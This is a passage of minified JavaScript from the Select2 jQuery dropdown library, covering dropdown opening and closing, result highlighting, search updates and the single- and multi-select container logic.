t;return!this.opened()&&!1!==this._enabled&&!0!==this._readonly&&(t=v.Event("select2-opening"),this.opts.element.trigger(t),!t.isDefaultPrevented())},clearDropdownAlignmentPreference:function(){this.container.removeClass("select2-drop-above"),this.dropdown.removeClass("select2-drop-above")},open:function(){return!!this.shouldOpen()&&(this.opening(),a.on("mousemove.select2Event",function(t){r.x=t.pageX,r.y=t.pageY}),!0)},opening:function(){var n,t=this.containerEventName,e="scroll."+t,i="resize."+t,s="orientationchange."+t,o=(this.container.addClass("select2-dropdown-open").addClass("select2-container-active"),this.clearDropdownAlignmentPreference(),this.dropdown[0]!==this.body.children().last()[0]&&this.dropdown.detach().appendTo(this.body),0===(n=v("#select2-drop-mask")).length&&((n=v(document.createElement("div"))).attr("id","select2-drop-mask").attr("class","select2-drop-mask"),n.hide(),n.appendTo(this.body),n.on("mousedown touchstart click",function(t){l(n);var e=v("#select2-drop");0<e.length&&((e=e.data("select2")).opts.selectOnBlur&&e.selectHighlighted({noFocus:!0}),e.close(),t.preventDefault(),t.stopPropagation())})),this.dropdown.prev()[0]!==n[0]&&this.dropdown.before(n),v("#select2-drop").removeAttr("id"),this.dropdown.attr("id","select2-drop"),n.show(),this.positionDropdown(),this.dropdown.show(),this.positionDropdown(),this.dropdown.addClass("select2-drop-active"),this);this.container.parents().add(window).each(function(){v(this).on(i+" "+e+" "+s,function(t){o.opened()&&o.positionDropdown()})})},close:function(){var t,e,n,i;this.opened()&&(t=this.containerEventName,e="scroll."+t,n="resize."+t,i="orientationchange."+t,this.container.parents().add(window).each(function(){v(this).off(e).off(n).off(i)}),this.clearDropdownAlignmentPreference(),v("#select2-drop-mask").hide(),this.dropdown.removeAttr("id"),this.dropdown.hide(),this.container.removeClass("select2-dropdown-open").removeClass("select2-container-active"),this.results.empty(),a.off("mousemove.select2Event"),this.clearSearch(),this.search.removeClass("select2-active"),this.search.removeAttr("aria-activedescendant"),this.opts.element.trigger(v.Event("select2-close")))},externalSearch:function(t){this.open(),this.search.val(t),this.updateResults(!1)},clearSearch:function(){},prefillNextSearchTerm:function(){var t;return""===this.search.val()&&(t=this.opts.nextSearchTerm(this.data(),this.lastSearchTerm))!==b&&(this.search.val(t),this.search.select(),!0)},getMaximumSelectionSize:function(){return A(this.opts.maximumSelectionSize,this.opts.element)},ensureHighlightVisible:function(){var t,e,n,i,s=this.results,o=this.highlight();o<0||(0==o?s.scrollTop(0):(n=this.findHighlightableChoices().find(".select2-result-label"),e=(i=((t=v(n[o])).offset()||{}).top||0)+t.outerHeight(!0),o===n.length-1&&0<(o=s.find("li.select2-more-results")).length&&(e=o.offset().top+o.outerHeight(!0)),(n=s.offset().top+s.outerHeight(!1))<e&&s.scrollTop(s.scrollTop()+(e-n)),(o=i-s.offset().top)<0&&"none"!=t.css("display")&&s.scrollTop(s.scrollTop()+o)))},findHighlightableChoices:function(){return this.results.find(".select2-result-selectable:not(.select2-disabled):not(.select2-selected)")},moveHighlight:function(t){for(var e=this.findHighlightableChoices(),n=this.highlight();-1<n&&n<e.length;){var i=v(e[n+=t]);if(i.hasClass("select2-result-selectable")&&!i.hasClass("select2-disabled")&&!i.hasClass("select2-selected")){this.highlight(n);break}}},highlight:function(t){var e=this.findHighlightableChoices();if(0===arguments.length)return u(e.filter(".select2-highlighted")[0],e.get());(t=t>=e.length?e.length-1:t)<0&&(t=0),this.removeHighlight(),(e=v(e[t])).addClass("select2-highlighted"),this.search.attr("aria-activedescendant",e.find(".select2-result-label").attr("id")),this.ensureHighlightVisible(),this.liveRegion.text(e.text()),(t=e.data("select2-data"))&&this.opts.element.trigger({type:"select2-highlight",val:this.id(t),choice:t})},removeHighlight:function(){this.results.find(".select2-highlighted").removeClass("select2-highlighted")},touchMoved:function(){this._touchMoved=!0},clearTouchMoved:function(){this._touchMoved=!1},countSelectableResults:function(){return this.findHighlightableChoices().length},highlightUnderEvent:function(t){var e,t=v(t.target).closest(".select2-result-selectable");0<t.length&&!t.is(".select2-highlighted")?(e=this.findHighlightableChoices(),this.highlight(e.index(t))):0==t.length&&this.removeHighlight()},loadMoreIfNeeded:function(){var e=this.results,n=e.find("li.select2-more-results"),i=this.resultsPage+1,s=this,o=this.search.val(),a=this.context;0!==n.length&&n.offset().top-e.offset().top-e.height()<=this.opts.loadMorePadding&&(n.addClass("select2-active"),this.opts.query({element:this.opts.element,term:o,page:i,context:a,matcher:this.opts.matcher,callback:this.bind(function(t){s.opened()&&(s.opts.populateResults.call(this,e,t.results,{term:o,page:i,context:a}),s.postprocessResults(t,!1,!1),!0===t.more?(n.detach().appendTo(e).html(s.opts.escapeMarkup(A(s.opts.formatLoadMore,s.opts.element,i+1))),window.setTimeout(function(){s.loadMoreIfNeeded()},10)):n.remove(),s.positionDropdown(),s.resultsPage=i,s.context=t.context,this.opts.element.trigger({type:"select2-loaded",items:t}))})}))},tokenize:function(){},updateResults:function(n){var i,s=this.search,o=this.results,a=this.opts,r=this,t=s.val(),e=v.data(this.container,"select2-last-term");function l(){s.removeClass("select2-active"),r.positionDropdown(),o.find(".select2-no-results,.select2-selection-limit,.select2-searching").length?r.liveRegion.text(o.text()):r.liveRegion.text(r.opts.formatMatches(o.find('.select2-result-selectable:not(".select2-selected")').length))}function c(t){o.html(t),l()}!0!==n&&e&&d(t,e)||(v.data(this.container,"select2-last-term",t),(!0===n||!1!==this.showSearchInput&&this.opened())&&(i=++this.queryCount,1<=(e=this.getMaximumSelectionSize())&&(t=this.data(),v.isArray(t))&&t.length>=e&&I(a.formatSelectionTooBig,"formatSelectionTooBig")?c("<li class='select2-selection-limit'>"+A(a.formatSelectionTooBig,a.element,e)+"</li>"):s.val().length<a.minimumInputLength?(I(a.formatInputTooShort,"formatInputTooShort")?c("<li class='select2-no-results'>"+A(a.formatInputTooShort,a.element,s.val(),a.minimumInputLength)+"</li>"):c(""),n&&this.showSearch&&this.showSearch(!0)):a.maximumInputLength&&s.val().length>a.maximumInputLength?I(a.formatInputTooLong,"formatInputTooLong")?c("<li class='select2-no-results'>"+A(a.formatInputTooLong,a.element,s.val(),a.maximumInputLength)+"</li>"):c(""):(a.formatSearching&&0===this.findHighlightableChoices().length&&c("<li class='select2-searching'>"+A(a.formatSearching,a.element)+"</li>"),s.addClass("select2-active"),this.removeHighlight(),(t=this.tokenize())!=b&&null!=t&&s.val(t),this.resultsPage=1,a.query({element:a.element,term:s.val(),page:this.resultsPage,context:null,matcher:a.matcher,callback:this.bind(function(t){var e;i==this.queryCount&&(this.opened()?t.hasError!==b&&I(a.formatAjaxError,"formatAjaxError")?c("<li class='select2-ajax-error'>"+A(a.formatAjaxError,a.element,t.jqXHR,t.textStatus,t.errorThrown)+"</li>"):(this.context=t.context===b?null:t.context,this.opts.createSearchChoice&&""!==s.val()&&(e=this.opts.createSearchChoice.call(r,s.val(),t.results))!==b&&null!==e&&r.id(e)!==b&&null!==r.id(e)&&0===v(t.results).filter(function(){return d(r.id(this),r.id(e))}).length&&this.opts.createSearchChoicePosition(t.results,e),0===t.results.length&&I(a.formatNoMatches,"formatNoMatches")?(c("<li class='select2-no-results'>"+A(a.formatNoMatches,a.element,s.val())+"</li>"),this.showSearch&&this.showSearch(s.val())):(o.empty(),r.opts.populateResults.call(this,o,t.results,{term:s.val(),page:this.resultsPage,context:null}),!0===t.more&&I(a.formatLoadMore,"formatLoadMore")&&(o.append("<li class='select2-more-results'>"+a.escapeMarkup(A(a.formatLoadMore,a.element,this.resultsPage))+"</li>"),window.setTimeout(function(){r.loadMoreIfNeeded()},10)),this.postprocessResults(t,n),l(),this.opts.element.trigger({type:"select2-loaded",items:t}))):this.search.removeClass("select2-active"))})}))))},cancel:function(){this.close()},blur:function(){this.opts.selectOnBlur&&this.selectHighlighted({noFocus:!0}),this.close(),this.container.removeClass("select2-container-active"),this.search[0]===document.activeElement&&this.search.blur(),this.clearSearch(),this.selection.find(".select2-search-choice-focus").removeClass("select2-search-choice-focus")},focusSearch:function(){var n;(n=this.search)[0]!==document.activeElement&&window.setTimeout(function(){var t=n[0],e=n.val().length;n.focus(),(0<t.offsetWidth||0<t.offsetHeight)&&t===document.activeElement&&(t.setSelectionRange?t.setSelectionRange(e,e):t.createTextRange&&((e=t.createTextRange()).collapse(!1),e.select()))},0)},selectHighlighted:function(t){var e,n;this._touchMoved?this.clearTouchMoved():(e=this.highlight(),(n=this.results.find(".select2-highlighted").closest(".select2-result").data("select2-data"))?(this.highlight(e),this.onSelect(n,t)):t&&t.noFocus&&this.close())},getPlaceholder:function(){var t;return this.opts.element.attr("placeholder")||this.opts.element.attr("data-placeholder")||this.opts.element.data("placeholder")||this.opts.placeholder||((t=this.getPlaceholderOption())!==b?t.text():b)},getPlaceholderOption:function(){var t;if(this.select)return t=this.select.children("option").first(),this.opts.placeholderOption!==b?"first"===this.opts.placeholderOption&&t||"function"==typeof this.opts.placeholderOption&&this.opts.placeholderOption(this.select):""===v.trim(t.text())&&""===t.val()?t:void 0},initContainerWidth:function(){var t=function(){var t,e,n,i,s;if("off"===this.opts.width)return null;if("element"===this.opts.width)return 0===this.opts.element.outerWidth(!1)?"auto":this.opts.element.outerWidth(!1)+"px";if("copy"!==this.opts.width&&"resolve"!==this.opts.width)return v.isFunction(this.opts.width)?this.opts.width():this.opts.width;if("string"==typeof(t=this.opts.element.attr("style")))for(i=0,s=(e=t.split(";")).length;i<s;i+=1)if(null!==(n=e[i].replace(/\s/g,"").match(/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i))&&1<=n.length)return n[1];return"resolve"===this.opts.width?0<(t=this.opts.element.css("width")).indexOf("%")?t:0===this.opts.element.outerWidth(!1)?"auto":this.opts.element.outerWidth(!1)+"px":null}.call(this);null!==t&&this.container.css("width",t)}}),e=P(t,{createContainer:function(){return v(document.createElement("div")).attr({class:"select2-container"}).html(["<a href='javascript:void(0)' class='select2-choice' tabindex='-1'>"," <span class='select2-chosen'> </span><abbr class='select2-search-choice-close'></abbr>"," <span class='select2-arrow' role='presentation'><b role='presentation'></b></span>","</a>","<label for='' class='select2-offscreen'></label>","<input class='select2-focusser select2-offscreen' type='text' aria-haspopup='true' role='button' />","<div class='select2-drop select2-display-none'>"," <div class='select2-search'>"," <label for='' class='select2-offscreen'></label>"," <input type='text' autocomplete='off' autocorrect='off' autocapitalize='off' spellcheck='false' class='select2-input' role='combobox' aria-expanded='true'"," aria-autocomplete='list' />"," </div>"," <ul class='select2-results' role='listbox'>"," </ul>","</div>"].join(""))},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.focusser.prop("disabled",!this.isInterfaceEnabled())},opening:function(){var t,e;0<=this.opts.minimumResultsForSearch&&this.showSearch(!0),this.parent.opening.apply(this,arguments),!1!==this.showSearchInput&&this.search.val(this.focusser.val()),this.opts.shouldFocusInput(this)&&(this.search.focus(),(t=this.search.get(0)).createTextRange?((e=t.createTextRange()).collapse(!1),e.select()):t.setSelectionRange&&(e=this.search.val().length,t.setSelectionRange(e,e))),this.prefillNextSearchTerm(),this.focusser.prop("disabled",!0).val(""),this.updateResults(!0),this.opts.element.trigger(v.Event("select2-open"))},close:function(){this.opened()&&(this.parent.close.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this))&&this.focusser.focus()},focus:function(){this.opened()?this.close():(this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},isFocused:function(){return this.container.hasClass("select2-container-active")},cancel:function(){this.parent.cancel.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus()},destroy:function(){v("label[for='"+this.focusser.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),M.call(this,"selection","focusser")},initContainer:function(){var e,t=this.container,n=this.dropdown,i=y(),i=(this.opts.minimumResultsForSearch<0?this.showSearch(!1):this.showSearch(!0),this.selection=e=t.find(".select2-choice"),this.focusser=t.find(".select2-focusser"),e.find(".select2-chosen").attr("id","select2-chosen-"+i),this.focusser.attr("aria-labelledby","select2-chosen-"+i),this.results.attr("id","select2-results-"+i),this.search.attr("aria-owns","select2-results-"+i),this.focusser.attr("id","s2id_autogen"+i),t=v("label[for='"+this.opts.element.attr("id")+"']"),this.opts.element.on("focus.select2",this.bind(function(){this.focus()})),this.focusser.prev().text(t.text()).attr("for",this.focusser.attr("id")),this.opts.element.attr("title"));this.opts.element.attr("title",i||t.text()),this.focusser.attr("tabindex",this.elementTabIndex),this.search.attr("id",this.focusser.attr("id")+"_search"),this.search.prev().text(v("label[for='"+this.focusser.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.search.on("keydown",this.bind(function(t){if(this.isInterfaceEnabled()&&229!=t.keyCode)if(t.which===c.PAGE_UP||t.which===c.PAGE_DOWN)_(t);else switch(t.which){case c.UP:case c.DOWN:return this.moveHighlight(t.which===c.UP?-1:1),void _(t);case c.ENTER:return this.selectHighlighted(),void _(t);case c.TAB:return void this.selectHighlighted({noFocus:!0});case c.ESC:return this.cancel(t),void _(t)}})),this.search.on("blur",this.bind(function(t){document.activeElement===this.body.get(0)&&window.setTimeout(this.bind(function(){this.opened()&&this.results&&1<this.results.length&&this.search.focus()}),0)})),this.focusser.on("keydown",this.bind(function(t){if(this.isInterfaceEnabled()&&t.which!==c.TAB&&!c.isControl(t)&&!c.isFunctionKey(t)&&t.which!==c.ESC){if(!1!==this.opts.openOnEnter||t.which!==c.ENTER)return t.which==c.DOWN||t.which==c.UP||t.which==c.ENTER&&this.opts.openOnEnter?t.altKey||t.ctrlKey||t.shiftKey||t.metaKey?void 0:(this.open(),void _(t)):void(t.which!=c.DELETE&&t.which!=c.BACKSPACE||(this.opts.allowClear&&this.clear(),_(t)));_(t)}})),g(this.focusser),this.focusser.on("keyup-change input",this.bind(function(t){0<=this.opts.minimumResultsForSearch&&(t.stopPropagation(),this.opened()||this.open())})),e.on("mousedown touchstart","abbr",this.bind(function(t){this.isInterfaceEnabled()&&(this.clear(),(t=t).preventDefault(),t.stopImmediatePropagation(),this.close(),this.selection)&&this.selection.focus()})),e.on("mousedown touchstart",this.bind(function(t){l(e),this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.opened()?this.close():this.isInterfaceEnabled()&&this.open(),_(t)})),n.on("mousedown touchstart",this.bind(function(){this.opts.shouldFocusInput(this)&&this.search.focus()})),e.on("focus",this.bind(function(t){_(t)})),this.focusser.on("focus",this.bind(function(){this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.container.addClass("select2-container-active")})).on("blur",this.bind(function(){this.opened()||(this.container.removeClass("select2-container-active"),this.opts.element.trigger(v.Event("select2-blur")))})),this.search.on("focus",this.bind(function(){this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.container.addClass("select2-container-active")})),this.initContainerWidth(),this.opts.element.hide(),this.setPlaceholder()},clear:function(t){var e,n=this.selection.data("select2-data");n&&(e=v.Event("select2-clearing"),this.opts.element.trigger(e),e.isDefaultPrevented()||(e=this.getPlaceholderOption(),this.opts.element.val(e?e.val():""),this.selection.find(".select2-chosen").empty(),this.selection.removeData("select2-data"),this.setPlaceholder(),!1!==t&&(this.opts.element.trigger({type:"select2-removed",val:this.id(n),choice:n}),this.triggerChange({removed:n}))))},initSelection:function(){var e;this.isPlaceholderOptionSelected()?(this.updateSelection(null),this.close(),this.setPlaceholder()):(e=this).opts.initSelection.call(null,this.opts.element,function(t){t!==b&&null!==t&&(e.updateSelection(t),e.close(),e.setPlaceholder(),e.lastSearchTerm=e.search.val())})},isPlaceholderOptionSelected:function(){var t;return this.getPlaceholder()!==b&&((t=this.getPlaceholderOption())!==b&&t.prop("selected")||""===this.opts.element.val()||this.opts.element.val()===b||null===this.opts.element.val())},prepareOpts:function(){var a=this.parent.prepareOpts.apply(this,arguments),n=this;return"select"===a.element.get(0).tagName.toLowerCase()?a.initSelection=function(t,e){t=t.find("option").filter(function(){return this.selected&&!this.disabled});e(n.optionToData(t))}:"data"in a&&(a.initSelection=a.initSelection||function(t,e){var s=t.val(),o=null;a.query({matcher:function(t,e,n){var i=d(s,a.id(n));return i&&(o=n),i},callback:v.isFunction(e)?function(){e(o)}:v.noop})}),a},getPlaceholder:function(){return this.select&&this.getPlaceholderOption()===b?b:this.parent.getPlaceholder.apply(this,arguments)},setPlaceholder:function(){var t=this.getPlaceholder();!this.isPlaceholderOptionSelected()||t===b||this.select&&this.getPlaceholderOption()===b||(this.selection.find(".select2-chosen").html(this.opts.escapeMarkup(t)),this.selection.addClass("select2-default"),this.container.removeClass("select2-allowclear"))},postprocessResults:function(t,e,n){var i=0,s=this;this.findHighlightableChoices().each2(function(t,e){if(d(s.id(e.data("select2-data")),s.opts.element.val()))return i=t,!1}),!1!==n&&(!0===e&&0<=i?this.highlight(i):this.highlight(0)),!0===e&&0<=(n=this.opts.minimumResultsForSearch)&&this.showSearch(function n(t){var i=0;return v.each(t,function(t,e){e.children?i+=n(e.children):i++}),i}(t.results)>=n)},showSearch:function(t){this.showSearchInput!==t&&(this.showSearchInput=t,this.dropdown.find(".select2-search").toggleClass("select2-search-hidden",!t),this.dropdown.find(".select2-search").toggleClass("select2-offscreen",!t),v(this.dropdown,this.container).toggleClass("select2-with-searchbox",t))},onSelect:function(t,e){var n,i;this.triggerSelect(t)&&(n=this.opts.element.val(),i=this.data(),this.opts.element.val(this.id(t)),this.updateSelection(t),this.opts.element.trigger({type:"select2-selected",val:this.id(t),choice:t}),this.lastSearchTerm=this.search.val(),this.close(),e&&e.noFocus||!this.opts.shouldFocusInput(this)||this.focusser.focus(),d(n,this.id(t))||this.triggerChange({added:t,removed:i}))},updateSelection:function(t){var e,n=this.selection.find(".select2-chosen");this.selection.data("select2-data",t),n.empty(),(e=null!==t?this.opts.formatSelection(t,n,this.opts.escapeMarkup):e)!==b&&n.append(e),(e=this.opts.formatSelectionCssClass(t,n))!==b&&n.addClass(e),this.selection.removeClass("select2-default"),this.opts.allowClear&&this.getPlaceholder()!==b&&this.container.addClass("select2-allowclear")},val:function(){var t,e=!1,n=null,i=this,s=this.data();if(0===arguments.length)return this.opts.element.val();if(t=arguments[0],1<arguments.length&&(e=arguments[1],this.opts.debug)&&console&&console.warn&&console.warn('Select2: The second option to `select2("val")` is not supported in Select2 4.0.0. The `change` event will always be triggered in 4.0.0.'),this.select)this.opts.debug&&console&&console.warn&&console.warn('Select2: Setting the value on a <select> using `select2("val")` is no longer supported in 4.0.0. You can use the `.val(newValue).trigger("change")` method provided by jQuery instead.'),this.select.val(t).find("option").filter(function(){return this.selected}).each2(function(t,e){return n=i.optionToData(e),!1}),this.updateSelection(n),this.setPlaceholder(),e&&this.triggerChange({added:n,removed:s});else if(t||0===t){if(this.opts.initSelection===b)throw new Error("cannot call val() if initSelection() is not defined");this.opts.element.val(t),this.opts.initSelection(this.opts.element,function(t){i.opts.element.val(t?i.id(t):""),i.updateSelection(t),i.setPlaceholder(),e&&i.triggerChange({added:t,removed:s})})}else this.clear(e)},clearSearch:function(){this.search.val(""),this.focusser.val("")},data:function(t){var e,n=!1;if(0===arguments.length)return e=(e=this.selection.data("select2-data"))==b?null:e;this.opts.debug&&console&&console.warn&&console.warn('Select2: The `select2("data")` method can no longer set selected values in 4.0.0, consider using the `.val()` method instead.'),1<arguments.length&&(n=arguments[1]),t?(e=this.data(),this.opts.element.val(t?this.id(t):""),this.updateSelection(t),n&&this.triggerChange({added:t,removed:e})):this.clear(n)}}),n=P(t,{createContainer:function(){return v(document.createElement("div")).attr({class:"select2-container select2-container-multi"}).html(["<ul class='select2-choices'>"," <li class='select2-search-field'>"," <label for='' class='select2-offscreen'></label>"," <input type='text' autocomplete='off' autocorrect='off' autocapitalize='off' spellcheck='false' class='select2-input'>"," </li>","</ul>","<div class='select2-drop select2-drop-multi select2-display-none'>"," <ul class='select2-results'>"," </ul>","</div>"].join(""))},prepareOpts:function(){var l=this.parent.prepareOpts.apply(this,arguments),i=this;return"select"===l.element.get(0).tagName.toLowerCase()?l.initSelection=function(t,e){var n=[];t.find("option").filter(function(){return this.selected&&!this.disabled}).each2(function(t,e){n.push(i.optionToData(e))}),e(n)}:"data"in l&&(l.initSelection=l.initSelection||function(t,o){var a=p(t.val(),l.separator,l.transformVal),r=[];l.query({matcher:function(t,e,n){var i=v.grep(a,function(t){return d(t,l.id(n))}).length;return i&&r.push(n),i},callback:v.isFunction(o)?function(){for(var t=[],e=0;e<a.length;e++)for(var n=a[e],i=0;i<r.length;i++){var s=r[i];if(d(n,l.id(s))){t.push(s),r.splice(i,1);break}}o(t)}:v.noop})}),l},selectChoice:function(t){var e=this.container.find(".select2-search-choice-focus");e.length&&t&&t[0]==e[0]||(e.length&&this.opts.element.trigger("choice-deselected",e),e.removeClass("select2-search-choice-focus"),t&&t.length&&(this.close(),t.addClass("select2-search-choice-focus"),this.opts.element.trigger("choice-selected",t)))},destroy:function(){v("label[for='"+this.search.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),M.call(this,"searchContainer","selection")},initContainer:function(){var l,t=".select2-choices",e=(this.searchContainer=this.container.find(".select2-search-field"),this.selection=l=this.container.find(t),this);this.selection.on("click",".select2-container:not(.select2-container-disabled) .select2-search-choice:not(.select2-locked)",function(t){e.search[0].focus(),e.selectChoice(v(this))}),this.search.attr("id","s2id_autogen"+y()),this.search.prev().text(v("label[for='"+this.opts.element.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.opts.element.on("focus.select2",this.bind(function(){this.focus()})),this.search.on("input paste",this.bind(function(){this.search.attr("placeholder")&&0==this.search.val().length||!this.isInterfaceEnabled()||this.opened()||this.open()})),this.search.attr("tabindex",this.elementTabIndex),this.keydowns=0,this.search.on("keydown",this.bind(function(t){if(this.isInterfaceEnabled()){++this.keydowns;var e,n,i,s=l.find(".select2-search-choice-focus"),o=s.prev(".select2-search-choice:not(.select2-locked)"),a=s.next(".select2-search-choice:not(.select2-locked)"),r=(r=this.search,n=e=0,"selectionStart"in(r=v(r)[0])?(e=r.selectionStart,n=r.selectionEnd-e):"selection"in document&&(r.focus(),i=document.selection.createRange(),n=document.selection.createRange().text.length,i.moveStart("character",-r.value.length),e=i.text.length-n),{offset:e,length:n});if(!s.length||t.which!=c.LEFT&&t.which!=c.RIGHT&&t.which!=c.BACKSPACE&&t.which!=c.DELETE&&t.which!=c.ENTER)if((t.which!==c.BACKSPACE||1!=this.keydowns)&&t.which!=c.LEFT||0!=r.offset||r.length){if(this.selectChoice(null),this.opened())switch(t.which){case c.UP:case c.DOWN:return this.moveHighlight(t.which===c.UP?-1:1),void _(t);case c.ENTER:return this.selectHighlighted(),void _(t);case c.TAB:return this.selectHighlighted({noFocus:!0}),void this.close();case c.ESC:return this.cancel(t),void _(t)}if(t.which!==c.TAB&&!c.isControl(t)&&!c.isFunctionKey(t)&&t.which!==c.BACKSPACE&&t.which!==c.ESC){if(t.which===c.ENTER){if(!1===this.opts.openOnEnter)return;if(t.altKey||t.ctrlKey||t.shiftKey||t.metaKey)return}this.open(),t.which!==c.PAGE_UP&&t.which!==c.PAGE_DOWN||_(t),t.which===c.ENTER&&_(t)}}else this.selectChoice(l.find(".select2-search-choice:not(.select2-locked)").last()),_(t);else i=s,t.which==c.LEFT&&o.length?i=o:t.which==c.RIGHT?i=a.length?a:null:t.which===c.BACKSPACE?this.unselect(s.first())&&(this.search.width(10),i=o.length?o:a):t.which==c.DELETE?this.unselect(s.first())&&(this.search.width(10),i=a.length?a:null):t.which==c.ENTER&&(i=null),this.selectChoice(i),_(t),i&&i.length||this.open()}})),this.search.on("keyup",this.bind(function(t){this.keydowns=0,this.resizeSearch()})),this.search.on("blur",this.bind(function(t){this.container.removeClass("select2-container-active"),this.search.removeClass("select2-focused"),this.selectChoice(null),this.opened()||this.clearSearch(),t.stopImmediatePropagation(),this.opts.element.trigger(v.Event("select2-blur"))})),this.container.on("click",t,this.bind(function(t){!this.isInterfaceEnabled()||0<v(t.target).closest(".select2-search-choice").length||(this.selectChoice(null),this.clearPlaceholder(),this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.open(),this.focusSearch(),t.preventDefault())})),this.container.on("focus",t,this.bind(function(){this.isInterfaceEnabled()&&(this.container.hasClass("select2-container-active")||this.opts.element.trigger(v.Event("select2-focus")),this.container.addClass("select2-container-active"),this.dropdown.addClass("select2-drop-active"),this.clearPlaceholder())})),this.initContainerWidth(),this.opts.element.hide(),this.clearSearch()},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.search.prop("disabled",!this.isInterfaceEnabled())},initSelection:function(){var e;""===this.opts.element.val()&&""===this.opts.element.text()&&(this.updateSelection([]),this.close(),this.clearSearch()),!this.select&&""===this.opts.element.val()||(e=this).opts.initSelection.call(null,this.opts.element,function(t){t!==b&&null!==t&&(e.updateSelection(t),e.close(),e.clearSearch())})},clearSearch:function(){var t=this.getPlaceholder(),e=this.getMaxSearchWidth();t!==b&&0===this.getVal().length&&!1===this.search.hasClass("select2-focused")?(this.search.val(t).addClass("select2-default"),this.search.width(0<e?e:this.container.css("width"))):this.search.val("").width(10)},clearPlaceholder:function(){this.search.hasClass("select2-default")&&this.search.val("").removeClass("select2-default")},opening:function(){this.clearPlaceholder(),this.resizeSearch(),this.parent.opening.apply(this,arguments),this.focusSearch(),this.prefillNextSearchTerm(),this.updateResults(!0),this.opts.shouldFocusInput(this)&&this.search.focus(),this.opts.element.trigger(v.Event("select2-open"))},close:function(){this.opened()&&this.parent.close.apply(this,arguments)},focus:function(){this.close(),this.search.focus()},isFocused:function(){return this.search.hasClass("select2-focused")},updateSelection:function(t){var e={},n=[],i=this;v(t).each(function(){i.id(this)in e||(e[i.id(this)]=0,n.push(this))}),this.selection.find(".select2-search-choice").remove(),this.addSelectedChoice(n),i.postprocessResults()},tokenize:function(){var t=this.search.val();null!=(t=this.opts.tokenizer.call(this,t,this.data(),this.bind(this.onSelect),this.opts))&&t!=b&&(this.search.val(t),0<t.length)&&this.open()},onSelect:function(t,e){this.triggerSelect(t)&&""!==t.text&&(this.addSelectedChoice(t),this.opts.element.trigger({type:"selected",val:this.id(t),choice:t}),this.lastSearchTerm=this.search.val(),this.clearSearch(),this.updateResults(),!this.select&&this.opts.closeOnSelect||this.postprocessResults(t,!1,!0===this.opts.closeOnSelect),!this.opts.closeOnSelect&&0<this.countSelectableResults()?(this.search.width(10),this.resizeSearch(),0<this.getMaximumSelectionSize()&&this.val().length>=this.getMaximumSelectionSize()?this.updateResults(!0):this.prefillNextSearchTerm()&&this.updateResults(),this.positionDropdown()):(this.close(),this.search.width(10)),this.triggerChange({added:t}),e&&e.noFocus||this.focusSearch())},cancel:function(){this.close(),this.focusSearch()},addSelectedChoice:function(t){var e=this.getVal(),n=this;v(t).each(function(){e.push(n.createChoice(this))}),this.setVal(e)},createChoice:function(t){var e=!t.locked,n=v("<li class='select2-search-choice'> <div></div> <a href='#' class='select2-search-choice-close' tabindex='-1'></a></li>"),i=v("<li class='select2-search-choice select2-locked'><div></div></li>"),n=e?n:i,i=this.id(t),s=this.opts.formatSelection(t,n.find("div"),this.opts.escapeMarkup);return s!=b&&n.find("div").replaceWith(v("<div></div>").html(s)),(s=this.opts.formatSelectionCssClass(t,n.find("div")))!=b&&n.addClass(s),e&&n.find(".select2-search-choice-close").on("mousedown",_).on("click dblclick",this.bind(function(t){this.isInterfaceEnabled()&&(this.unselect(v(t.target)),this.selection.find(".select2-search-choice-focus").removeClass("select2-search-choice-focus"),_(t),this.close(),this.focusSearch())})).on("focus",this.bind(function(){this.isInterfaceEnabled()&&(this.container.addClass("select2-container-active"),this.dropdown.addClass("select2-drop-active"))})),n.data("select2-data",t),n.insertBefore(this.searchContainer),i},unselect:function(t){var e,n,i=this.getVal();if(0===(t=t.closest(".select2-search-choice")).length)throw"Invalid argument: "+t+". Must be .select2-search-choice";if(e=t.data("select2-data")){var s=v.Event("select2-removing");if(s.val=this.id(e),s.choice=e,this.opts.element.trigger(s),s.isDefaultPrevented())return!1;for(;0<=(n=u(this.id(e),i));)i.splice(n,1),this.setVal(i),this.select&&this.postprocessResults();return t.remove(),this.opts.element.trigger({type:"select2-removed",val:this.id(e),choice:e}),this.triggerChange({removed:e}),!0}},postprocessResults:function(t,e,n){var i=this.getVal(),s=this.results.find(".select2-result"),o=this.results.find(".select2-result-with-children"),a=this;s.each2(function(t,e){0<=u(a.id(e.data("select2-data")),i)&&(e.addClass("select2-selected"),e.find(".select2-result-selectable").addClass("select2-selected"))}),o.each2(function(t,e){e.is(".select2-result-selectable")||0!==e.find(".select2-result-selectable:not(.select2-selected)").length||e.addClass("select2-selected")}),-1==this.highlight()&&!1!==n&&!0===this.opts.closeOnSelect&&a.highlight(0),!this.opts.createSearchChoice&&0<!s.filter(".select2-result:not(.select2-selected)").length&&(t&&(t.more||0!==this.results.find(".select2-no-results").length)||I(a.opts.formatNoMatches,"formatNoMatches")&&this.results.append("<li class='select2-no-results'>"+A(a.opts.formatNoMatches,a.opts.element,a.search.val())+"</li>"))},getMaxSearchWidth:function(){return this.selection.width()-f(this.search)},resizeSearch:function(){var 